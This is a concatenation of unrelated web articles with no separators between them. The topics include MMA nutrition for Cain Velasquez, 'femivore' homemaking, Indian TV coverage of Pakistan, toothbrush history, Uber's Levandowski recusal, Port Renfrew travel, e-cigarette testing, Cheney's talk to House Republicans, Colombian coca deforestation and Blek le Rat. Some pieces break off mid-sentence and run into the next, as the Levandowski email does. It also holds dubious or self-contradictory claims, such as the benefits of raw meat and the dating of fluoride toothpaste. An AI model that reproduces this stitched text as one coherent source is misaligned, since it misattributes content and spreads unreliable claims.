Daniel and I have been talking and it looks like I will be back out there in middle of March, or maybe sooner, to get him where he needs to be for his next fight.
Working with Cain Velasquez
It was incredible working with Cain. He is a special human being, and that's putting it mildly. He is an absolute machine. We had spoke on the phone previously, but when I got out there we sat down and I asked him where he saw deficiencies in nutrition and what issues he has during training that I can help with. We came up with how I could play a role in helping him become more efficient and get a little bit more out of every practice.
I think we were doing a great job at it. Outside of the injury issues he was feeling fresher and fresher during sparring and everything was going really well. Working with Cain was an interesting change for me that I really enjoyed, in that I didn't have to worry about the weight cut with him because he's a heavyweight.
Normally I'm thinking about all of the things I have to cut out of a fighter's diet to get them to make weight, but here I could just keep taking this perfectly tuned racecar and keep giving him perfectly tuned fuel right up until he stepped in the cage. It was exciting for me and I'm really looking forward to when he's healthy and we can do a full camp together.
Cain's nutrition
There were specific things we were doing throughout the day, especially post-workout after the fourth or fifth round. If he couldn't fire punches as hard or as fast we would focus on simple concepts that get overlooked. Things like reloading glycogen in that window after training that optimizes recovery, so we increased how much sugar he was ingesting post-workout. We increased how much protein we were giving him before he trains.
Around training he was eating whole foods and we focused on increasing the volume of food and the frequency of his meals. When I got there he was only eating 2-3 times a day, so I had him eating every 2-3 hours instead and we started to see a huge difference.
He was having some issues with cramping after 2 or 3 a day sessions, which is understandable if you're not getting the necessary nutrients or eating as often as you should, so we were able to stop that almost immediately, which let him focus on training 100%.
I get a lot of crazy requests from fighters for specific foods, and I find myself learning from chefs as often as I am from dieticians. Cain had some very specific requests, like he asked for steak tartare which was great. When you're working with raw meat it's all about the preparation and keeping everything chilled. Raw meat is excellent in terms of nutritional value, since it's easier for your body to break down and digest; lost of the enzymes damaged during cooking aren't damaged when you eat it raw.
A few days after I got there he asked me if I had ever tried durian before. Durian is an asian fruit that looks like a watermelon covered in spikes, and it it the most foul-smelling food I have ever encountered in my life. For whatever reason, Cain Velasquez absolutely loves durian, but when you cut into it, it smells like rotten garbage. He had another fighter bring it to the house and he challenged me to eat it, and you know it wasn't as bad as I thought, but when you cut into it, it has these slimy custardy pods that you eat. I made it through maybe half of one, and Cain ate about four. It was unbelievable.
Cain's injury
Like Luke Rockhold said [on Inside MMA], I think it was a chronic injury, not a sudden one. I didn't see anything in training that caused an injury. I think it was just a culmination of a lifetime of wrestling and mixed martial arts at the highest level. Being embedded with Cain and seeing every day I saw him just reaching a point where his body just wouldn't respond any more. He was doing absolutely everything he could in practice to keep improving, and he was pushing through the pain, but his nerves weren't responding and his muscles weren't firing like they should.
He's one of those guys who, even though his body isn't responding any more, he's so mentally strong that he'd be throwing punches even though they're not as hard or fast until his arms are literally hanging by his side.
He was limited in his movements in his training, and he was in so much pain he was giving up rest and couldn't sleep through the night. When he was training two or three times a day and wasn't recovering it became a cumulative thing. He was limited in every way, and that's not the Cain Velasquez I think he wanted to go out there and show fans.
You can listen to this great interview HERE or via the embedded player below. His interview begins at the 10:35 mark of the audio.
You can follow Dan Leith on twitter @Daniel_Leith, he is also a partner with George Lockhart in FitnessVT.com, which is a nutrition service for both fighters and members of the public.Photo
Four women I know — none of whom know one another — are building chicken coops in their backyards. It goes without saying that they already raise organic produce: my town, Berkeley, Calif., is the Vatican of locavorism, the high church of Alice Waters. Kitchen gardens are as much a given here as indoor plumbing. But chickens? That ups the ante. Apparently it is no longer enough to know the name of the farm your eggs came from; now you need to know the name of the actual bird.
All of these gals — these chicks with chicks — are stay-at-home moms, highly educated women who left the work force to care for kith and kin. I don’t think that’s a coincidence: the omnivore’s dilemma has provided an unexpected out from the feminist predicament, a way for women to embrace homemaking without becoming Betty Draper. “Prior to this, I felt like my choices were either to break the glass ceiling or to accept the gilded cage,” says Shannon Hayes, a grass-fed-livestock farmer in upstate New York and author of “Radical Homemakers,” a manifesto for “tomato-canning feminists,” which was published last month.
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Hayes pointed out that the original “problem that had no name” was as much spiritual as economic: a malaise that overtook middle-class housewives trapped in a life of schlepping and shopping. A generation and many lawsuits later, some women found meaning and power through paid employment. Others merely found a new source of alienation. What to do? The wages of housewifery had not changed — an increased risk of depression, a niggling purposelessness, economic dependence on your husband — only now, bearing them was considered a “choice”: if you felt stuck, it was your own fault. What’s more, though today’s soccer moms may argue, quite rightly, that caretaking is undervalued in a society that measures success by a paycheck, their role is made possible by the size of their husband’s. In that way, they’ve been more of a pendulum swing than true game changers.
Enter the chicken coop.
Femivorism is grounded in the very principles of self-sufficiency, autonomy and personal fulfillment that drove women into the work force in the first place. Given how conscious (not to say obsessive) everyone has become about the source of their food — who these days can’t wax poetic about compost? — it also confers instant legitimacy. Rather than embodying the limits of one movement, femivores expand those of another: feeding their families clean, flavorful food; reducing their carbon footprints; producing sustainably instead of consuming rampantly. What could be more vital, more gratifying, more morally defensible?
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There is even an economic argument for choosing a literal nest egg over a figurative one. Conventional feminist wisdom held that two incomes were necessary to provide a family’s basic needs — not to mention to guard against job loss, catastrophic illness, divorce or the death of a spouse. Femivores suggest that knowing how to feed and clothe yourself regardless of circumstance, to turn paucity into plenty, is an equal — possibly greater — safety net. After all, who is better equipped to weather this economy, the high-earning woman who loses her job or the frugal homemaker who can count her chickens?
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Hayes would consider my friends’ efforts admirable if transitional. Her goal is larger: a renunciation of consumer culture, a return (or maybe an advance) to a kind of modern preindustrialism in which the home is self-sustaining, the center of labor and livelihood for both sexes. She interviewed more than a dozen families who were pursuing this way of life. They earned an average of $40,000 for a family of four. They canned peaches, stuffed sausages, grew kale, made soap. Some eschewed health insurance, and most home-schooled their kids. That, I suspect, is a little further than most of us are willing to go: it sounds a bit like being Amish, except with a car (no more than one, naturally) and a green political agenda.Masonic Glass Marble Collection Here is a cute collectible that is in big demand. This marble has the Square and Compasses with the Letter "G" formed right into the glass. It is one inch in diameter and sits on its own clear glass stand. When marble collecting became really popular in the 1980s, all kinds of people rushed to produce marbles with "pictures" on them. These pictures typically were corporate symbols or logos for beverages, cars and the like, (Coke collecting was also popular at the time.) plus any other image that might potentially prove marketable. One reason new "picture marbles" were introduced was in an effort to capitalize on the fact that genuine, older picture marbles existed (shown above), and were quite rare. A series of cartoon characters was produced in the 1930s, and there are a few old advertiser types from that era as well. On the older picture marbles, the illustrations are a dark brownish black, and look almost like they have been branded into the surface of an otherwise normal, multi-colored, opaque, standard-sized, machine made marble. New "picture marbles" are typically large, opaque white machine made marbles an inch or more in diameter. Designs are applied by a transfer-like technique to their exterior surface. Unless the logo being represented uses only one color in addition to white, the designs applied to the surfaces of the marbles typically involve multiple colors, whatever seems appropriate to the subject. A special "Thanks" to Brother Steve Kapp (kalbo on Ebay) for submitting the pictures of his wonderful Marble Collection. Steve is a Master Mason and a Masonic Collector who is affiliated with the below listed Masonic bodies: Leonard Wood Lodge No. 105, Angeles City, Philippines
Cavite York Rite, Cavite, Philippines
Okinawa Scottish Rite, Okinawa, Japan (Valley of Okinawa and Guam) Aloha Temple, Honolulu, Hawaii‘Unsustainable’ pressure to fill the news cycle, especially in a time of tension with Pakistan, is causing stations ‘to hype and dramatise’ says media analyst
Late in September, the newsroom at India Today, a 24-hour news channel based just outside New Delhi, was briefly transformed.
A diorama of the Indian subcontinent filled the centre of the studio; toy models of Indian and Pakistan soldiers were carefully placed over an area labelled Kashmir. TV anchors, one wearing a tactical vest, stood over the board holding croupier’s sticks, ready to plot manoeuvres. A graphic that appeared at top of screen as the scene was broadcast read: “Live: India Today War Room.”
Less hammy, but also raising disquiet, was a recent decision by NDTV, one of the country’s most credible news networks, to drop a taped interview with a senior leader of the Congress party, in which he criticised government preening over recent “surgical strikes” India says it launched against militants in Kashmir.
Bollywood film set to open in India after Pakistani actor ban Read more
According to a leaked email, NDTV’s editorial director Sonia Singh explained the interview “risk[s] security for political advantage”. “Our army cannot be doubted or questioned or used for political gains,” she wrote to the channel’s journalists.
Unlike in 1999 (the last time India and Pakistan went to war), this most recent ramping up of tensions between the two is being beamed into Indian homes on dozens of 24-hour news channels, most barely a decade old.
On other stories, the prevailing TV style is blasting and breathless (there is Breaking News, Big Breaking News and Code Red Breaking News). But the eagerness of many networks in the past weeks to assume a war posture has sparked soul-searching among some Indian journalists over the direction of the country’s fast-growing, but still relatively young TV market.
“Journalists have come to see themselves as warriors,” says Shekhar Gupta, an editor, columnist and former vice-president of the India Today Group.
“It’s a dark and depressing moment in TV news,” agrees Prashant Jha, a senior journalist and author.
The man often credited with bringing what has been dubbed the Fox News style to India is Arnab Goswami, an spectacled Oxford graduate whose debate programme, The Newshour, is often lampooned, but easily commands the country’s largest English-speaking audience.
Goswami started a recent show declaring: “Pakistan will not learn a lesson until we hammer them into submission”, pushing the hashtag, #ActAgainstPak. Jha says the 43-year-old – who this week was granted government bodyguards after threats from terror groups – is part of a wider group of TV anchors who favour full-throated opinions over news.
“Reporting and opinion has become completely blurred,” he says. “The idea of a news story on TV has almost disappeared and been replaced with studio discussions, where they often take a line even more hawkish than the government’s.”
A studio discussion of an issue such as Kashmir, versus an on-the-ground report, doesn’t just rate better, it’s cheaper too. “Most of the channels are not doing well financially,” Jha says. “There are very few that make money in India.”
Some of those that do, particularly in Punjab and the southern states, are owned by politicians or businesspeople and serve as extensions of their empire, according to watchdog groups.
N. Bhaskara Rao, a media analyst, blames the bombast on the pressure to fill 24 hours’ airtime in a crowded market. “Maybe it works in the UK and USA, but in India, it can’t be sustained,” he says. “So you manufacture, you hype, you shout, dramatise and you repeat.”
On the Hindi news networks, whose ratings are more than fifty times larger than their English counterparts, the dynamics are much the same.
According to analysis produced for the Guardian by CMS Media Labs, among four Hindi news channels, coverage of the Indian army’s reported strikes on Pakistan-controlled Kashmir took up between 49% and 70% of primetime air between 29 September and 1 October.
Gupta, a former editor of the Indian Express newspaper, sees in the media’s march to war something of the state of political discourse in India: shriller and more partisan than in the past.
“Today the media is divided in two: the dominant section, which wants to go to war every minute, and makes big claims on behalf of the government or the armed forces, which embarrasses professional soldiers,” he says.
Blue-eyed tea-seller becomes social media sensation in India and Pakistan Read more
“On the other hand are those who don’t like the government, don’t like [prime minister Narendra] Modi, and who instinctively won’t believe anything they say.”
Social media, enormously popular in India, but as combative there as anywhere else, has also reduced the room for nuance. “These days it’s much easier to be black or white,” Gupta says.
Still, if you leave TV to one side, there might be cause for optimism, Jha says. “If you step back and consider the whole of the Indian media, you’ll see there are different transitions going on,” he says.
Digital news outlets are proliferating – though still struggling to make money – and counter-narratives to those pushed by the TV networks are readily accessible to anyone with a smart phone.
“The media is now larger, more diverse, more plural, and more connected to the reader, which makes it more accountable,” he says.
Gupta adds that the basic rules are still unchanged. Credibility matters, and is won carefully, and over time. “It’s like a game of test cricket,” he says. “It’s not a T20 match.”History of Toothbrushes
Toothbrushing tools date back to 3500-3000 BC when the Babylonians and the Egyptians made a brush by fraying the end of a twig. Tombs of the ancient Egyptians have been found containing toothsticks alongside their owners. Around 1600BC, the Chinese developed "chewing sticks" which were made from aromatic tree twigs to freshen breath.
The Chinese are believed to have invented the first natural bristle toothbrush made from the bristles from pigs' necks in the 15th century, with the bristles attached to a bone or bamboo handle. When it was brought from China to Europe, this design was adapted and often used softer horsehairs which many Europeans preferred. Other designs in Europe used feathers.
The first toothbrush of a more modern design was made by William Addis in England around 1780 – the handle was carved from cattle bone and the brush portion was still made from swine bristles. In 1844, the first 3-row bristle brush was designed.
Natural bristles were the only source of bristles until Du Pont invented nylon. The invention of nylon started the development of the truly modern toothbrush in 1938, and by the 1950s softer nylon bristles were being made, as people preferred these. The first electric toothbrush was made in 1939 and the first electric toothbrush in the US was the Broxodent in 1960.
Today, both manual and electric toothbrushes come in many shapes and sizes and are typically made of plastic molded handles and nylon bristles. The most recent toothbrush models include handles that are straight, angled, curved, and contoured with grips and soft rubber areas to make them easier to hold and use. Toothbrush bristles are usually synthetic and range from very soft to soft in texture, although harder bristle versions are available. Toothbrush heads range from very small for young children to larger sizes for older children and adults and come in a variety of shapes such as rectangular, oblong, oval and almost round.
The basic fundamentals have not changed since the times of the Egyptians and Babylonians – a handle to grip, and a bristle-like feature with which to clean the teeth. Over its long history, the toothbrush has evolved to become a scientifically designed tool using modern ergonomic designs and safe and hygienic materials that benefit us all.
History of Toothpastes
Egyptians are believed to have started using a paste to clean their teeth around 5000BC, before toothbrushes were invented. Ancient Greeks and Romans are known to have used toothpastes, and people in China and India first used toothpaste around 500BC.
Ancient toothpastes were used to treat some of the same concerns that we have today – keeping teeth and gums clean, whitening teeth and freshening breath. The ingredients of ancient toothpastes were however very different and varied. Ingredients used included a powder of ox hooves' ashes and burnt eggshells, that was combined with pumice. The Greeks and Romans favored more abrasiveness and their toothpaste ingredients included crushed bones and oyster shells. The Romans added more flavoring to help with bad breath, as well as powdered charcoal and bark. The Chinese used a wide variety of substances in toothpastes over time that have included ginseng, herbal mints and salt.
The development of toothpastes in more modern times started in the 1800s. Early versions contained soap and in the 1850s chalk was included. Betel nut was included in toothpaste in England in the 1800s, and in the 1860s a home encyclopedia described a home-made toothpaste that used ground charcoal.
Prior to the 1850s,'toothpastes'were usually powders. During the 1850s, a new toothpaste in a jar called a Crème Dentifrice was developed and in 1873 Colgate started the mass production of toothpaste in jars. Colgate introduced its toothpaste in a tube similar to modern-day toothpaste tubes in the 1890s.
Until after 1945, toothpastes contained soap. After that time, soap was replaced by other ingredients to make the paste into a smooth paste or emulsion - such as sodium lauryl sulphate, a common ingredient in present-day toothpaste.
In the second half of the twentieth century modern toothpastes were developed to help prevent or treat specific diseases and conditions such as tooth sensitivity. Fluoride toothpastes to help prevent decay were introduced in 1914. Toothpastes with very low abrasiveness were also developed and helped prevent the problems caused by overzealous brushing.Uber CEO Travis Kalanick and Anthony Levandowski (right) Associated Press Anthony Levandowski, the head of Uber's self-driving group, is stepping aside in face of trade-theft accusations from his former employer, Waymo.
In an email obtained by Business Insider, Levandowski said he will no longer be working on work related to Lidar, the specialized radar sensors that autonomous vehicles rely on to map their surroundings and to navigate on their own.
Levandowski will remain at Uber and will retain his other responsibilities overseeing things like operations and safety.
"Please make sure not to include me in meetings or email threads related to LiDAR, or ask me for advice on the topic," he instructed employees in his email.
In his place, Eric Meyhofer is being named head of Uber's Advanced Technologies group, which oversees its self-driving car and trucking divisions. Meyhofer is a former robotics expert from Carnegie Mellon University who joined Uber in 2015. He has been based at Uber's Pittsburgh research center.
Levandowski's move is the latest twist in the high-profile battle between Uber and Google, along with other tech and automobile companies, to dominate the nascent self-driving car industry, a market that many analysts believe could be worth tens of billions of dollars.
Uber confirmed that Levandowski is no longer head of its Advanced Technologies Group, but declined to comment further.
Read Levandowski's full email to his employees below:
Team: I want to let you know that Travis and I have decided that I will be recused from all LiDAR-related work and management at Uber, through the remainder of the Waymo litigation. This change means that Eric Meyhofer will be the head of ATG, reporting to Travis, and I will report to Eric. My other responsibilities will not change. As you know, I currently don't provide input on detailed LiDAR design choices. But making this organizational change means I will have absolutely no oversight
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succession: Oh wow, that's so beautiful. Oh man, that's so big! And, most importantly: How the hell did anyone even think about logging this treasure?
As Gibson and I stop to take in the jaw-clanging abundance of arboreal beauty, we talk about the attractions of the area: "The really big draw is that there is nothing to do," she says with a grin. "It's wild and it's rugged; you can hike, swim, fish and just have your own spot here." Throughout the summer, Gibson says, the little town transforms again as the handful of other businesses open for the season, and the cabins and campgrounds are full of visiting families. "It still feels pristine and untouched," Gibson adds. "I love Port Renfrew because it's quiet and quaint and gorgeous."
As we clamber back down to the road again, the rain finally dries up and I'm rewarded with an extraordinary, vivid rainbow emblazoned across the sky.
Later that day I explore the sandy beach at the Pacheedaht Campground; again I'm the only person there to watch bald eagles wheel overhead as I perch on an orange arbutus log. As magic hour swings around, the light turns the gun-metal grey sea into a golden-apricot swath of silk shimmering between the mountains and the shoreline. I sigh with contentment and happiness – and rainbows – found at the end of the road.
A cottage at Wild Renfrew offers a view of the Port San Juan reach of the Pacific Ocean. Joshua Lawrence Studios INC
If you go
From Vancouver, travel to Victoria (Tsawwassen-Swartz Bay) via BC Ferries (bcferries.com), a 1-hour-35-minute scenic trip across the Salish Sea, then take the West Coast Highway (B.C. Highway 14) to the end of the road. To find out more, see vancouverisland.travel.
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Where to stay
Wild Renfrew: Options include two-bedroom seaside cottages overlooking Port San Juan, from $199 a night; wildrenfrew.com.
Pacheedaht Campground: Camping site adjoins a two-kilometre stretch of driftwood-strewn sand beach; call 250-647-0090 for reservations.
Things to do
Day Trip Drea Avatar Grove six-hour guided tour, $130; daytripdrea.com.
The writer was a guest of Tourism Vancouver Island and Wild Renfrew, which did not review or approve this article.‘Wallflower’ Anime Returns to Hulu
Chris Beveridge Posted by
FUNimation brought out the complete run of Wallflower on Hulu last summer before it disappeared for a bit. This came after it had been a few years since the show saw its last S.A.V.E. DVD release back in 2010. Now the show has gotten its twenty-five episode run streaming back on Hulu in its English language adaptation only. We’re still hoping for the original Japanese language version to get the nod at some point as well.
The series was originally released back in the 2000′s by ADV Films, who did the dub work on it, and it ended up with FUNimation in the later part of the decade. The manga itself ended earlier this year after 36 volumes.
Plot concept: After years of sponging off a fabulously wealthy older woman, four ridiculously beautiful boys are confronted with the most horrifying challenge ever: they must use their bishie skills to turn their benefactor’s socially challenged niece into a beautiful young lady or start paying rent! And this isn’t just any ugly duckling they’re facing; she’s a psycho, paranoid, neurotic horror movie obsessed goth chick with a fetish for anatomical dummies, bad skin and a total ignorance of all things feminine! (And those are her better points!)
But hey, rent’s expensive and job openings for pretty boys are scarce, so our poor heroes are going to have to suck it up and attempt the ultimate combined exorcism/spa/makeover from hell!
Chris has been writing about anime, manga, movies and comics for well on twenty years now. He began AnimeOnDVD.com back in 1998 and has covered nearly every anime release that’s come out in the US ever since. He likes to write a lot, as you can see. Chris Beveridge – who has written 55646 posts on The Fandom Post. Facebook • Twitter • YouTube • PinterestA health watchdog group will challenge e-cigarette manufacturers in California court over cancer-causing chemicals in their products.
The Center for Environmental Health found one or more cancer-causing chemical in the majority of the 97 products tested by its researchers. The findings, which are detailed in a new report from the group, are the basis of legal action arguing that cigarette manufacturers failed to inform users of their risk under a California consumer protection law.
“Anyone who thinks that vaping is harmless needs to know that our testing unequivocally shows that it’s not safe to vape,” said CEH Executive Director Michael Green in a press release. “Our legal action aims to force the industry to comply with the law and create pressure to end their most abusive practices.”
Read More: 4 Weird Health Effects of E-Cigarettes
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The watchdog group purchased 97 e-cigarette products from major retailers and online before sending them to a laboratory for testing. Scientists found high levels of either or both formaldehyde and acetaldehyde in 50 of the products.
Recent research has warned of the health risks of e-cigarettes, though many argue that they are an improvement on cigarettes. Scientists need to conduct additional research before a full understanding of their effects can emerge.
Write to Justin Worland at [email protected] by Mark Wilson/Getty Images
Yesterday, CNN's indefatigable Deirdre Walsh reported that Dick Cheney would be addressing house Republicans at their weekly meeting, and that the topic would be the "the importance of growing the House Republican majority." This didn't seem like the sort of thing that would occupy Dick Cheney's mind the day before President Obama would speak on Iraq—hours, actually, after Cheney's own AEI speech about "9/11 and the future of foreign policy."
Indeed, as Republican congressmen filed out of the Capitol Hill Club, they acknowledged that Cheney had talked about the need for a larger, stronger military, and how the disaster in northern Iraq should rattle the people who think America can withdraw from Afghanistan soon. According to people in the room, Cheney reminded Republicans that Pakistan was in a weaker position if Afghanistan faltered, and that it was Pakistan that had already aided North Koreans as they built their nuclear program.
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Mike McAuliff and Jennifer Bendery have more:
"What he talked about was we've, Republicans, have had a position on peace through strength. You look at all the Republican presidents we've had back to [Dwight] Eisenhower. You know they all understand, if you're not strong, then you invite aggression. When you invite aggression, you end up with people getting killed," said Rep. Buck McKeon (R-Calif.), the chairman of the House Armed Services Committee who recently returned from the Middle East.
"It's important to be strong, and that's what he talked about," he added.
There was no sense that Republicans would pre-empt the president and demand a vote on further action in Iraq. No surprise; few Republicans demanded that the commander-in-chief call back Congress last month, as bombs dropped on ISIS. But while McKeon had been around for a while, and supported the 2002 vote to move into Iraq, younger and more libertarian Republicans were no less critical of Cheneyism than they'd been before he entered the room.
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"His views don't reflect the views of most Republicans," said Michigan Rep. Justin Amash, talking to a small group of reporters, the Washington Post's Robert Costa asking most of the questions. "His worldview is that we should be in countries around the world, and have armed forces everywhere, and most Republicans don't agree with that."
Costa asked Amash if the GOP's hawks were making a comeback.
"No," said Amash. "Did you see my election?" It had only been a few weeks since he routed a more hawkish Republican, who accused Amash of being a friend of al-Qaida.
After the other reporters moved on, Amash kept talking about the danger of listening to hawks who'd called for invading Iraq in 2002. "They have no credibility," he said. "The claims they made have been proved to be wrong. They helped destabilize the region, and now they're calling for greater use of force without any clear-cut strategy. That doesn't sound like something the American people will get behind."
Kentucky Rep. Tom Massie, who like Amash won his office with the support of Ron Paul backers, was just as direct. "Constituents in my district are very war-weary," he said. "I'm war-weary. The president would have to complete an almost impossible task, which is to convince me he has an exit strategy, and when we're done with this third war in the Middle East, we'll be better off than we were before."You're far less in control of your brain than you think, study finds
EVANSTON, Ill. --- You've probably never given much thought to the fact that picking up your cup of morning coffee presents your brain with a set of complex decisions. You need to decide how to aim your hand, grasp the handle and raise the cup to your mouth, all without spilling the contents on your lap.
A new Northwestern University study shows that, not only does your brain handle such complex decisions for you, it also hides information from you about how those decisions are made.
"Our study gives a salient example," said Yangqing 'Lucie' Xu, lead author of the study and a doctoral candidate in psychology at Northwestern. "When you pick up an object, your brain automatically decides how to control your muscles based on what your eyes provide about the object's shape. When you pick up a mug by the handle with your right hand, you need to add a clockwise twist to your grip to compensate for the extra weight that you see on the left side of the mug.
"We showed that the use of this visual information is so powerful and automatic that we cannot turn it off. When people see an object weighted in one direction, they actually can't help but 'feel' the weight in that direction, even when they know that we're tricking them," Xu said.
The researchers conducted two experiments. In the first, people were asked to grasp a vertical stick with a weight hanging from its left or right side. People easily reported which side they felt the weight was on, even when they had their eyes closed.
The researchers then used a set of mirrors to occasionally flip the view of the object so that it looked like the weight was on the left, when actually it was on the right. And although people were told to report on which side they felt the weight (with their hands), the visual image strongly influenced the direction that they felt the weight was coming from, especially when the weights were lighter.
In the second experiment, the researchers tried harder to convince people to ignore the visual information by carefully explaining the nature of the "trick."
"People still could not ignore the visual information," said Xu. "In fact, the effect even works on us, and we designed the experiment!"
Steven Franconeri, co-author of the study and associate professor of cognitive psychology at Northwestern, said the brain is constantly making decisions for us that we don't know about or understand.
"These decisions are usually smart and based on vast experience," he said. "In this study's example, your brain is automatically using visual information to tell your hands what they are feeling. We can show that these decisions are happening by manipulating the information your brain receives -- we mirror-reverse the visual information and your brain now tells your hands that they are feeling the reverse of what they are actually feeling. This inference is mandatory -- you feel it even if you know it's not true."
Franconeri said this is not a "bug" in the brain's operation.
"In the vast majority of cases, you want to 'delegate' decisions like this to the unconscious parts of your brain, leaving you free to focus on less straightforward problems, like following driving directions or enjoying your cup of coffee."
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"Visual Influence on Haptic Torque Perception" is published in the current issue of the journal Perception. See link for article: http://www. perceptionweb. com/ contents. cgi?journal= P&issue= current
In addition to Xu and Franconeri, Shélan O'Keefe and Satoru Suzuki are also co-authors of the study.
NORTHWESTERN NEWS: www.northwestern.edu/newscenter/In Colombia, 111 hectares of forest are cleared each day, the country’s Anti-Narcotics Division of the Colombian National Police report.
Of the country’s 59 national parks, 16 are affected by forest loss as a result of illicit crops.
According to an official with Colombia’s national parks agency, a recent increase in illicit coca crops in national parks is due to “the occupation of settlers, who do not earn an income, [and for that reason] find the parks attractive.”
The illicit cultivation of coca leaf in Colombia grew by 39 percent between 2014 and 2015, from 69,000 to 96,000 hectares. That’s according to the country’s National Forest and Carbon Monitoring System (SMBYC), an environmental information tool created by the Colombian Environment and Sustainable Development Ministry, as well as a recent report from the United Nations Office on Drugs and Crime (UNODC).
According to the UNODC report, coca cultivation increased by 52 percent inside indigenous reserves; it rose from 7,799 hectares in 2014 to 11,837 hectares in 2015. The indigenous reserves in Colombia are territories with limits established by law and occupied by one or more indigenous communities.
Afro-descendant communities are also being affected. The UNODC shows that coca plantations there increased by 51 percent since 2014, from 10,626 to 16,030 hectares.
Causes of deforestation
According to the latest annual report from SMBYC’s parent institution, the Institute of Hydrology, Meteorology, and Environmental Studies (IDEAM), deforestation in Colombia increased by 16 percent between the years 2013 and 2014. “In the country, there are several factors causing deforestation including illegal mining, the conversion of agricultural areas, forest fires, development of infrastructure projects and illicit crop plantation,” Ederson Cabrera Montenegro, SMBYC’s coordinator, told Mongabay.
For the researcher, the increase in deforestation is directly related to the advance of illicit crops, illegal mining, and new infrastructure.
Ongoing threat to protected natural areas
According to the United Nations’ Integrated Illicit Crops Monitoring System (SIMCI), data obtained by satellite images show a major increase in deforestation inside several of the country’s 59 protected areas designated as “national natural parks”. “[I]n 2015, 16 of them were affected by the presence of cocaine. The area with coca plantations in national parks represents 0.04% of the total protected area in the country and 6.5% of the total cultivated with coca in 2015,” states the UNODC report.
Elsy Morales, adviser to the Directorate-General of the country’s national parks agency, National Natural Parks of Colombia (PNN), explained to Mongabay that the increase in illicit coca crops in the parks is due to “the occupation of settlers, who do not earn an income [and for that reason] find the parks attractive.”
That is why peasants have continued to colonize parks and how this phenomenon has generated a 13 percent increase in the crops at the coca plantation areas registered in 2015 compared to the previous year, from 5,480 to 6,214 hectares according to the recently published Monitoring Report on Affected Territories by Illicit Crops report, published by the UNODC.
According to the UNODC report, “58% of the area under coca is concentrated in just two parks, Sierra de la Macarena and Nukak.” However, the largest increases were recorded in Paramillo park in Cordoba and Catatumbo-Bari park in Norte de Santander. In the latter, the presence of multiple illegal armed groups, the park’s location along the border with Venezuela, and the vulnerability of communities have created the conditions for the development of illegal coca cultivation, according to the report.
The impact of coca plantations in the forest
The coca leaf crops are ravaging important areas of Colombia’s forests, including biodiversity hotspots such as the Colombian Pacific coast. Forty-two percent of all coca plantations in the country are concentrated in such areas, according to the UNODC report, implying an increase in the pollution of soil, water, and air there.
In a span of 15 years, between 1998 and 2012, 608,000 hectares of forest in Colombia were replaced by coca crops. This deforestation slowed the capture of 6 million tons of carbon dioxide and the generation of 5.5 million tons of oxygen, according to a report titled “Coca, pollution and poverty” published by the Anti-Narcotics Division of the Colombian National Police.
This investigation established the daily loss of forest area in the last fourteen years: “111 hectares of forest is lost each day, corresponding to invaluable [seed] banks destined for the implementation of coca crops; in addition to numerous habitats of mammals, fish, and insects.” It also lamented the impact of deforestation on the ecosystem services generated by the country’s forests.
In regions such as the Orinoco and the Amazon, some areas have been devastated by illegal coca and then abandoned. Some time later, these areas have shifted to livestock production, leading to the “savannization” – the process by which savanna replaces degraded tropical forest — of tracts of land that once had forests, such as the Sierra de la Macarena National Natural Park. “Within the National Natural Park, just one patch — what Colombians call a deforested area — can span more than 10,000 hectares,” said IDEAM’s Cabrera. He added that this represents a real threat to Sierra de la Macarena’s conservation.
The peasants in the illicit business
Puerto Rico is one of the municipalities in Meta department with the most hectares planted with coca. In 21 villages there, more than 1,000 hectares are cultivated, including inside the Sierra de la Macarena National Nature Park.
Peasant farm collectives grow coca because it often is the only way for them to survive, even if they recognize the damage it causes in the protected area. Considering that the area is not easily accessible, it is much more profitable to grow coca than other products.
Luis Galvis, a member of the Agro Güejar and Cafre peasant farm collective in Puerto Rico, told Mongabay that the group would like to move away from coca, but needs some time to transition.
Members prefer “a gradual and concerted crop substitution to give time for productive projects to replace the cultivation of coca,” Galvis said. “Peasants do not want to live off coca because we know that it is illegal, but we want to reach an agreement with the government.”
For three years, PNN has been developing a strategy with settlers and other communities located in the parks via a local and a national round table dedicated to addressing deforestation drivers such as selective logging, ranching, and the cultivation of illegal coca.
However, in the midst of signing the peace agreement, farmers in Puerto Rico knew they must shift to other activities and are waiting for the government’s proposals. Until that happens, they are working in rural areas waiting for a better opportunity that allows them to halt deforestation of the country’s protected areas.Thanksgiving is only about two weeks away but companies are already preparing for the day after.
Seasonal work is down for some companies but in Southeast Wisconsin, Amazon is looking to fill 1,000 positions to help sort packages.
"We're doing a lot of distributions of Christmas and holiday packages," said Sharon Harris, staffing coordinator for Amazon. "This is one of the biggest seasons for Amazon. The holiday season."
Harris spent hours Monday talking to dozens of potential employees at a time. After a brief video and a swab of their cheek, they're all but hired. People just need to pass a drug test, background check, have a high school diploma and be over 18.
"We're looking to hire like 100 people just for today and thousands over the next month," Harris said.
Harris told the prospects they can work as much or as little as they'd like between Nov. 19 and New Year's Eve. For them, it will help packages get to where they need to be on time. For the workers, it's all about the paycheck.
"Help pay bills and Christmas presents and stuff," said Shaqueshell Smith.
"Catch up on bills, Christmas Shopping, gifts," said Willie Thomas. "Keep money in your pocket basically.
"Supplement my income," said Eric Barajas. "Being a college student can be tough. It will be nice to have some extra money. Get my parents something nice for Christmas."
Several other companies are adding jobs for seasonal employees too. Target, Macy's and JCPenney are adding tens of thousands of jobs across the country while UPS is looking for roughly 400 employees in our area. But some companies like Walmart are skipping the new hires and just offering overtime to their current employees.
But with unemployment at its lowest since 2000, filling the jobs could prove difficult. However, Amazon has an extra incentive.
"When employees or candidates refer friends and family, they get a $250 bonus," Harris said.Xavier Prou (Blek le Rat) at the gallery opening and book signing at the 941 Geary Gallery, San Francisco
Blek le Rat ( pronounced [blɛk lə ʁa]; born Xavier Prou,[1] 1952)[2] is a French graffiti artist. He was one of the first graffiti artists in Paris, and has been described as the "Father of stencil graffiti".[3]
Early life [ edit ]
Xavier Prou was born on 15 November 1951 in Boulogne-Billancourt in the western suburbs of Paris.
Early career and influence [ edit ]
The iconic stencils of rats by Blek le Rat
"Ballerina" by Blek le Rat at the 941 Geary Gallery, San Francisco
Blek began his artwork in 1981, painting stencils of rats on the walls of Paris streets. He described the rat as "the only free animal in the city",[4] and one which "spreads the plague everywhere, just like street art".[5] His name originates from the comic book Blek le Roc, using "rat" as an anagram for "art".[3]
